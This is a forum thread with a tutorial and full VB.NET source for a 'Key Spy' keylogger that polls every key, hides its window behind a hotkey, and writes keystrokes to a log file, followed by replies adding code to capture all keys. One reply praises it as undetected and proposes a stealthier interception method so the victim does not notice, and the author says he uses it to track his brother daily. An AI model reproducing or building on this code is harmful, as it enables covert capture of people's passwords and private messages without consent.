How to make a Key Spy (Computer Spy/Keylogger)

Heres your chance to share your own tutorials with the community. Just post them on here. If your lucky they may even be posted on the main site.
37 posts Page 1 of 4
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

Hello Everyone,

I have thought and thought and thought and have decided to use my time to make a tutorial on my Key Spy software which I posted in the Full Software section. It got quite a few comments and very few downloads but surely it's a fact that nowadays codenstuff members have become busy and aren't as active as before.

So I am going to write a tutorial no matter what! This will be my second tutorial and it's format will be similar to my earlier tutorial which was about my TTS Reader software. This tutorial shows how to capture keys that are being pressed by the keyboard and save the text into a text file which will be located in the specified folder. You will also learn how to set the interval between saving the text.

---------------------------------------------------------------------------

First of all, open Visual Basic 2008, create a new project, choose Windows Forms Application, type in the textbox Key Spy and press the OK button. As soon as you have done this, the Form1 will appear on the screen on which we will design our application and code it.


First we will do the designing and then the coding. So now we will change the Form1's properties to make it look good. Change the Form1's Text property to Key Spy. Change it's StartPosition property to CenterScreen. Change it's Size property and MinimumSize property to 425, 425.


Now add the following things to the form:

(1)_ 1 Toolstrip. Change it's GripStyle property to Hidden. Add 7 Buttons and 4 Separators to it in this format: Button, Separator, Button, Separator, Button, Button, Separator, Button, Button, Separator, Button. Change all the button's DisplayStyle property to ImageAndText. Change the first button's Text property to Hide, second button's to Clear, third button's to Start, fourth button's to Stop, fifth button's to Settings, sixth button's to View Log and at last the seventh button's Text property to About. You can add icons to your buttons to make them look good.

(2)_ 1 TextBox. Change it's MultiLine property to True. Change it's Dock property to Fill. Change it's ReadOnly property to True and it's BackColor to Window.

(3)_ 1 Label. Change it's Visible property to False. Change it's TextAllign property to MiddleCenter. Change it's AutoSize property to False. Change it's Dock property to Bottom. Change it's Text Property to C:\ObsprO Key Spy\Log.txt.

(4)_ 2 Timers. Change the Timer1's Interval property to 5 and change Timer2's Interval property to 30000. And then change both the Timers' Enabled property to Enabled.


Now is the time to code Form1 and it's components. So right-click on the form in the Solution Explorer and click View Code.

Type the following code before the Public Class Form1:
Code: Select all
Imports System.Runtime.InteropServices
Type the following code after the Public Class Form1:
Code: Select all
Dim keyNames As String()
    Dim keyValues As Array
    Dim isdown As Boolean()

    <DllImport("user32.dll")> Shared Function GetAsyncKeyState(ByVal vKey As Integer) As Short
    End Function
Double-click the Form using the Designer window and enter the following code in the Form1_Load event:
Code: Select all
keyNames = [Enum].GetNames(GetType(Keys))
        keyValues = [Enum].GetValues(GetType(Keys))
        isdown = New Boolean(keyNames.Length - 1) {}
        ToolStripButton3.PerformClick()
And enter this code in the Form1_FormClosing event:
Code: Select all
TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
        Try
            My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
            TextBox1.Clear()
        Catch ex As Exception
            Dim dlgrst As DialogResult
            dlgrst = MessageBox.Show("Unable to save the text. The specified path was not found. Exit without saving?", "ObsprO Key Spy", MessageBoxButtons.YesNo, MessageBoxIcon.Error)
            If dlgrst = DialogResult.Yes Then

            ElseIf dlgrst = DialogResult.No Then
                e.Cancel = True
            End If
        End Try
Now go back to the Form Designer by double-clicking on the Form1 item in the Solution Explorer. Double-click on the Timer1 and type in the following code:
Code: Select all
Dim key As String = ""
        For i As Integer = 0 To keyNames.Length - 1
            Dim result As Short = GetAsyncKeyState(keyValues(i))
            If result = -32768 And Not isdown(i) Then
                isdown(i) = True
                key += keyNames(i) & " "
            ElseIf result = 0 Then
                isdown(i) = False
            End If
        Next
        TextBox1.Text += key
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
            Me.Show()
        End If
Now double-click the Timer2 and enter the following code:
Code: Select all
Try
            TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
            My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
            TextBox1.Clear()
        Catch ex As Exception
            MsgBox("Unable to save the text. The specified path was not found.", MsgBoxStyle.Critical, "ObsprO Key Spy")
        End Try
Write the following code by double-clicking the ToolStripButton1 whose text was Hide:
Code: Select all
Me.Hide()
Double-click ToolStripButton2 and enter the following code to clear the TextBox:
Code: Select all
TextBox1.Clear()
Add the following code to the ToolStripButton3 the text of which was Start:
Code: Select all
TextBox1.Text = "Started at: " & Now & vbNewLine
        Timer1.Enabled = True
        Timer2.Enabled = True
Now double-click the ToolStripButton4 whose text property was Stop:
Code: Select all
TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
        Timer1.Enabled = False
        Timer2.Enabled = False
        Try
            My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
            TextBox1.Clear()
        Catch ex As Exception
            MsgBox("Unable to save the text. The specified path was not found.", MsgBoxStyle.Critical, "ObsprO Key Spy")
        End Try
Add this code to ToolStripButton5 namely Settings:
Code: Select all
Form2.Show()
And this is the code to view the log. This will be placed under ToolStripButton6:
Code: Select all
Try
            Process.Start(Form2.TextBox1.Text)
        Catch ex As Exception
            MsgBox("Unable to open the log file. The specified path was not found or does not exists.", MsgBoxStyle.Critical, "ObsprO Key Spy")
        End Try
Now this is the code for the last button which is ToolStripButton7. I made this application so I'll put my name!:
Code: Select all
MsgBox("This software is developed by ObsprO.", MsgBoxStyle.Information, "ObsprO Key Spy")

Okay, the Form1's coding is done so now let us head to design and code the Settings form. So to add another form, look up at the menustrip, click Project and then press Add Windows Form... When the Add New Item dialog shows up, just press Add and a new form will be automatically created and shown in front of you.


Now lets start designing the form. Change the Form2's FormBorderStyle to FixedToolWindow. Change it's MaximiseBox and MinimizeBox property to False. Change it's ShowIcon and ShowInTaskbar property to False. Change it's size to 300, 173. Change it's StartPosition property to CenterScreen and at last change it's Text property to Settings.


Add the following items/controls to the Form:

(1)_ 2 GroupBoxes. Change first one's Text property to "Patch to save the log of keylogger:" and the second one's to "Interval between saving the text:".

(2)_ 2 Labels. Change first one's Text property to "Path:" and the second one's to "Interval:".

(3)_ 2 TextBoxes. Change the first one's Text property to "C:\ObsprO Key Spy\Log.txt" and the second one's to "30000".

(4)_ 2 Buttons. Change the first one's Text property to "OK" and the second one's to "Cancel".

Arrange them in the form like this. 1 Label and 1 TextBox in first GroupBox and the second Label and TextBox in the second GroupBox. And then add both of the buttons on the outside of the GroupBoxes.


Now we will code Form2. So right-click on the Form2 in the Solution Explorer and click View Code.

Add the following code to the Form2_FormClosing event:
Code: Select all
e.Cancel = True
        Me.Hide()
Add the following code to Button1 by double-clicking it:
Code: Select all
Imports System.Runtime.InteropServices
Form1.Timer2.Interval = TextBox2.Text
        Form1.label1.text = TextBox1.Text
And this is the last code. Add this to Button2 by double-clicking it:
Code: Select all
Me.Close()
---------------------------------------------------------------------------

Voila! You have just completed making a Key Spy. Now debug and run it by pressing the Start Debugging button located at the main toolstrip. Test it, if it works fine then its SAVING time. You can save your project by going to File -> Save All and then pressing Save.

And there! You have your project and application that works. If you have any problem or can't understand something, please feel free to ask by either a comment or by PM. I have also attached a screenshot.

Please use the Give Thanks button and the Reputation System to appreciate my hard work. I have wrote this tutorial while making a Key Spy project myself so you can download the source file in the attachments.

Thank you.

Image

EDIT: viewtopic.php?f=38&t=3913&p=66508#p66501 Have a look at it.
You do not have the required permissions to view the files attached to this post.
Last edited by Usman55 on Sat Apr 21, 2012 7:55 pm, edited 5 times in total.
Image
User avatar
Livengood
Serious Programmer
Serious Programmer
Posts: 445
Joined: Tue Feb 16, 2010 6:24 am

I get an error on timer on, you should post the source for this also :)
Image
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

If you want to capture all keys+modifiers instead of 2-90 you can use this code:
Code: Select all
        Dim keyNames As String() = [Enum].GetNames(GetType(Keys))
        Dim keyValues As Array = [Enum].GetValues(GetType(Keys))
        Dim key As String = ""
        For i As Integer = 0 To keyNames.Length - 1
            Dim result As Short = GetAsyncKeyState(keyValues(i))
            If result = -32768 Then
                key += keyNames(i) & " "
            End If
        Next
Last edited by mandai on Fri Dec 03, 2010 6:01 pm, edited 1 time in total.
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

Sorry, I forgot to mention: You have to create the directory before using the application.
Image
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

mandai wrote:
If you want to capture all keys+modifiers instead of 2-90 you can use this code:
Code: Select all
        Dim keyNames As String() = [Enum].GetNames(GetType(Keys))
        Dim keyValues As Array = [Enum].GetValues(GetType(Keys))
        Dim key As String = ""
        For i As Integer = 0 To keyNames.Length - 1
            Dim result As Short = GetAsyncKeyState(keyValues(i))
            If result = -32768 Then
                key += keyNames(i) & " "
            End If
        Next
I get some errors when I use that. Can you download the source and make a reamke and send it to me?
Image
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

What error do you get?
User avatar
shekoasinger
New Member
New Member
Posts: 23
Joined: Sat Dec 04, 2010 9:40 pm

Now, this does work,. And is undetected but its sooo slow and doesnt get all the keys the user types in. Therefore useless. The best thing to do is To register all Keyboards' keys and in Their WNDPROC ovveride them to trap the keys entered, after that use Sendkeys.Send() to enter the missing key so that the user doesnt notice anything. Good luck!
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

@ shekoasinger: It isn't slow at all! I use it to track my brother every day!

@ mandai: Here is a screenshot:
Image
Image
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

According to the Microsoft specification the vKey paramater should be an Integer and the GetAsyncKeyState return value should be a Short. Its crashing because the wrong data types are being expected in the return value.
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

mandai wrote:
According to the Microsoft specification the vKey paramater should be an Integer and the GetAsyncKeyState return value should be a Short. Its crashing because the wrong data types are being expected in the return value.
How to fix it?
Image
37 posts Page 1 of 4
Return to “Tutorials”